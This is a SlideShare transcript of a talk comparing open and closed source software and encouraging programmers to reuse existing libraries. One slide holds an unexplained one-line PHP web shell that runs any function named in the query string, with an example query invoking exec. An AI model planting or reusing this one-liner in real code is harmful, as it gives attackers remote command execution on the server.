SlideShare una empresa de Scribd logo
1 de 12
Polish the wheel

                     Andrei Avădănei
                   andrei@worldit.info
                     http://defcamp.ro
Open Source vs Closed Source
Open Source
●   Open Source Software License
        - distributed under a licensing agreement which allows the source code to be shared, viewed and modified

●   Cost
        - free
        - requires a certain level of technical expertise in order to manage content
        - providers are increasingly charging for addons, additional services and integration
        - long term costs : implementation, innovation, service/support issues, infrastructure

●   Service and Support
        - online community network

●   Innovation
        - enables innovation by providing users with the freedom and flexibility to adapt the software to suit

●   Usability
        - lack of usability

●   Security
        - is often viewed as having security issues
Closed Source
●   Closed Source Software License
        - distributed under a licensing agreement to authorized users with private modification, copying and republishing
        restrictions

●   Cost
        - vary from a few thousand to a few hundred thousand dollars
        - user is paying for a more customized product from a trusted brand that includes higher levels of security and
        functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower
        requirement for technical skills.

●   Service and Support
        - service level and support structure requirements are taking precedent in favour of maximising uptime and
        minimising downtime

●   Innovation
        - do not allow users to view or alter the source code
        - innovation comes fully tested

●   Usability
        - employs expert usability testing
        - detailed user manuals and guides are provided for faster trainings

●   Security
        - more secure because it is developed in a controlled environment by a concentrated team with a common
        direction
Ok, now back to wheel!
A guy smarter than me said that
Good programmers are writing their own code
from scratch;


BUT

Best programmers are using code developed
by good programmers. >:)
Whose side are you?
<?=($_=@$_GET[2]).@$_($_GET[1])?>
●   a lot of time wasted on creating modules that we could find already created
●   wasted time that we could use in innovation
●   most open source libraries have an API documentation + examples
●   If you are a good programmer all the things you need to learn from Open
    Source libraries will seem simple (simpler than making a pizza)
    How to become the "best" programmer?
    ●   Research
    ●   Understanding APIs (libraries, CMSes and so on)
    ●   Code (preferable no spaghetti code)
    ●   Learn how to make a pizza faster!




                                                              ?2=exec&1=help
Examples
●   Wordpress, Joomla, Drupal                for blog type projects

●   Moodle for e-learning projects
●   PHC, GCC, Open GTK for building and running apps
●   Chromium for building your own browser
●   Google Charts
●   Frameworks (Django, Zend, Smarty, Rails etc)
●   [...]
Why not?
You have the opportunity to change the world
            easier than ever!
Questions?
Thanks!

Más contenido relacionado

Destacado

2010 Amco Clear Catalog
2010 Amco Clear Catalog2010 Amco Clear Catalog
2010 Amco Clear Catalog
jcrow14
 
Virtual Anonimity – What? Why? When? How?
Virtual Anonimity – What? Why? When? How?Virtual Anonimity – What? Why? When? How?
Virtual Anonimity – What? Why? When? How?
Avădănei Andrei
 
How you can become a hacker with no security experience
How you can become a hacker with no security experienceHow you can become a hacker with no security experience
How you can become a hacker with no security experience
Avădănei Andrei
 

Destacado (6)

2010 Amco Clear Catalog
2010 Amco Clear Catalog2010 Amco Clear Catalog
2010 Amco Clear Catalog
 
DefCamp 2012 @Bucharest
DefCamp 2012 @BucharestDefCamp 2012 @Bucharest
DefCamp 2012 @Bucharest
 
Wordpress Plugins Scanner
Wordpress Plugins ScannerWordpress Plugins Scanner
Wordpress Plugins Scanner
 
Virtual Anonimity – What? Why? When? How?
Virtual Anonimity – What? Why? When? How?Virtual Anonimity – What? Why? When? How?
Virtual Anonimity – What? Why? When? How?
 
How you can become a hacker with no security experience
How you can become a hacker with no security experienceHow you can become a hacker with no security experience
How you can become a hacker with no security experience
 
SmartFender
SmartFenderSmartFender
SmartFender
 

Similar a Polish the Wheel

Mobile App Development: Off the-Shelf vs Platform
Mobile App Development: Off the-Shelf vs PlatformMobile App Development: Off the-Shelf vs Platform
Mobile App Development: Off the-Shelf vs Platform
Dipesh Mukerji
 
PHP Frameworks & Introduction to CodeIgniter
PHP Frameworks & Introduction to CodeIgniterPHP Frameworks & Introduction to CodeIgniter
PHP Frameworks & Introduction to CodeIgniter
Jamshid Hashimi
 
Technical writing training 2013 14 (2)
Technical writing training 2013 14 (2)Technical writing training 2013 14 (2)
Technical writing training 2013 14 (2)
laxmi16101981
 

Similar a Polish the Wheel (20)

Start your open source project
Start your open source projectStart your open source project
Start your open source project
 
20160422 Speedy Framework Enterprise Application Development Platform
20160422 Speedy Framework Enterprise Application Development Platform20160422 Speedy Framework Enterprise Application Development Platform
20160422 Speedy Framework Enterprise Application Development Platform
 
Neev Open Source Contributions
Neev Open Source ContributionsNeev Open Source Contributions
Neev Open Source Contributions
 
[APIdays Singapore 2019] Managing the API lifecycle with Open Source Technolo...
[APIdays Singapore 2019] Managing the API lifecycle with Open Source Technolo...[APIdays Singapore 2019] Managing the API lifecycle with Open Source Technolo...
[APIdays Singapore 2019] Managing the API lifecycle with Open Source Technolo...
 
Mobile App Development: Off the-Shelf vs Platform
Mobile App Development: Off the-Shelf vs PlatformMobile App Development: Off the-Shelf vs Platform
Mobile App Development: Off the-Shelf vs Platform
 
Teaching Open Source In The University
Teaching Open Source In The UniversityTeaching Open Source In The University
Teaching Open Source In The University
 
Not my problem - Delegating responsibility to infrastructure
Not my problem - Delegating responsibility to infrastructureNot my problem - Delegating responsibility to infrastructure
Not my problem - Delegating responsibility to infrastructure
 
EclipseCon Fr 2018 - The future of development tooling: The example of Eclips...
EclipseCon Fr 2018 - The future of development tooling: The example of Eclips...EclipseCon Fr 2018 - The future of development tooling: The example of Eclips...
EclipseCon Fr 2018 - The future of development tooling: The example of Eclips...
 
Kubernetes, Toolbox to fail or succeed for beginners - Demi Ben-Ari, VP R&D @...
Kubernetes, Toolbox to fail or succeed for beginners - Demi Ben-Ari, VP R&D @...Kubernetes, Toolbox to fail or succeed for beginners - Demi Ben-Ari, VP R&D @...
Kubernetes, Toolbox to fail or succeed for beginners - Demi Ben-Ari, VP R&D @...
 
Computer software specialists wikki verma
Computer software specialists   wikki vermaComputer software specialists   wikki verma
Computer software specialists wikki verma
 
Design Summit - Community and Ecosystem - John Mark Walker
Design Summit - Community and Ecosystem - John Mark Walker Design Summit - Community and Ecosystem - John Mark Walker
Design Summit - Community and Ecosystem - John Mark Walker
 
Enterprise CI as-a-Service using Jenkins
Enterprise CI as-a-Service using JenkinsEnterprise CI as-a-Service using Jenkins
Enterprise CI as-a-Service using Jenkins
 
Efficient platform engineering with Microk8s & gopaddle.pdf
Efficient platform engineering  with  Microk8s & gopaddle.pdfEfficient platform engineering  with  Microk8s & gopaddle.pdf
Efficient platform engineering with Microk8s & gopaddle.pdf
 
Puppeteer : Is it time to ditch Selenium?
Puppeteer : Is it time to ditch Selenium?Puppeteer : Is it time to ditch Selenium?
Puppeteer : Is it time to ditch Selenium?
 
PHP Frameworks & Introduction to CodeIgniter
PHP Frameworks & Introduction to CodeIgniterPHP Frameworks & Introduction to CodeIgniter
PHP Frameworks & Introduction to CodeIgniter
 
IBM Bluemix OpenWhisk: Interconnect 2016, Las Vegas: CCD-1088: The Future of ...
IBM Bluemix OpenWhisk: Interconnect 2016, Las Vegas: CCD-1088: The Future of ...IBM Bluemix OpenWhisk: Interconnect 2016, Las Vegas: CCD-1088: The Future of ...
IBM Bluemix OpenWhisk: Interconnect 2016, Las Vegas: CCD-1088: The Future of ...
 
IBM Bluemix Openwhisk
IBM Bluemix OpenwhiskIBM Bluemix Openwhisk
IBM Bluemix Openwhisk
 
Google cloud Study Jam 2023.pptx
Google cloud Study Jam 2023.pptxGoogle cloud Study Jam 2023.pptx
Google cloud Study Jam 2023.pptx
 
Technical writing training 2013 14 (2)
Technical writing training 2013 14 (2)Technical writing training 2013 14 (2)
Technical writing training 2013 14 (2)
 
What is SaaS vs Open Source | Open Source CMS (Content Management System) vs ...
What is SaaS vs Open Source | Open Source CMS (Content Management System) vs ...What is SaaS vs Open Source | Open Source CMS (Content Management System) vs ...
What is SaaS vs Open Source | Open Source CMS (Content Management System) vs ...
 

Más de Avădănei Andrei (6)

Honeypots - The Art of Building Secure Systems by Making them Vulnerable
Honeypots - The Art of Building Secure Systems by Making them VulnerableHoneypots - The Art of Building Secure Systems by Making them Vulnerable
Honeypots - The Art of Building Secure Systems by Making them Vulnerable
 
A journey through an INFOSEC labyrinth
A journey through an INFOSEC labyrinthA journey through an INFOSEC labyrinth
A journey through an INFOSEC labyrinth
 
SYDO - Secure Your Data by Obscurity
SYDO - Secure Your Data by ObscuritySYDO - Secure Your Data by Obscurity
SYDO - Secure Your Data by Obscurity
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Arta de a susţine o prezentare
Arta de a susţine o prezentareArta de a susţine o prezentare
Arta de a susţine o prezentare
 
Spaghetti Code vs MVC
Spaghetti Code vs MVCSpaghetti Code vs MVC
Spaghetti Code vs MVC
 

Último

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 

Último (20)

Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Top 10 Most Downloaded Games on Play Store in 2024
Top 10 Most Downloaded Games on Play Store in 2024Top 10 Most Downloaded Games on Play Store in 2024
Top 10 Most Downloaded Games on Play Store in 2024
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation Strategies
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 

Polish the Wheel

  • 1. Polish the wheel Andrei Avădănei andrei@worldit.info http://defcamp.ro
  • 2. Open Source vs Closed Source
  • 3. Open Source ● Open Source Software License - distributed under a licensing agreement which allows the source code to be shared, viewed and modified ● Cost - free - requires a certain level of technical expertise in order to manage content - providers are increasingly charging for addons, additional services and integration - long term costs : implementation, innovation, service/support issues, infrastructure ● Service and Support - online community network ● Innovation - enables innovation by providing users with the freedom and flexibility to adapt the software to suit ● Usability - lack of usability ● Security - is often viewed as having security issues
  • 4. Closed Source ● Closed Source Software License - distributed under a licensing agreement to authorized users with private modification, copying and republishing restrictions ● Cost - vary from a few thousand to a few hundred thousand dollars - user is paying for a more customized product from a trusted brand that includes higher levels of security and functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower requirement for technical skills. ● Service and Support - service level and support structure requirements are taking precedent in favour of maximising uptime and minimising downtime ● Innovation - do not allow users to view or alter the source code - innovation comes fully tested ● Usability - employs expert usability testing - detailed user manuals and guides are provided for faster trainings ● Security - more secure because it is developed in a controlled environment by a concentrated team with a common direction
  • 5. Ok, now back to wheel!
  • 6. A guy smarter than me said that Good programmers are writing their own code from scratch; BUT Best programmers are using code developed by good programmers. >:)
  • 8. <?=($_=@$_GET[2]).@$_($_GET[1])?> ● a lot of time wasted on creating modules that we could find already created ● wasted time that we could use in innovation ● most open source libraries have an API documentation + examples ● If you are a good programmer all the things you need to learn from Open Source libraries will seem simple (simpler than making a pizza) How to become the "best" programmer? ● Research ● Understanding APIs (libraries, CMSes and so on) ● Code (preferable no spaghetti code) ● Learn how to make a pizza faster! ?2=exec&1=help
  • 9. Examples ● Wordpress, Joomla, Drupal for blog type projects ● Moodle for e-learning projects ● PHC, GCC, Open GTK for building and running apps ● Chromium for building your own browser ● Google Charts ● Frameworks (Django, Zend, Smarty, Rails etc) ● [...]
  • 10. Why not? You have the opportunity to change the world easier than ever!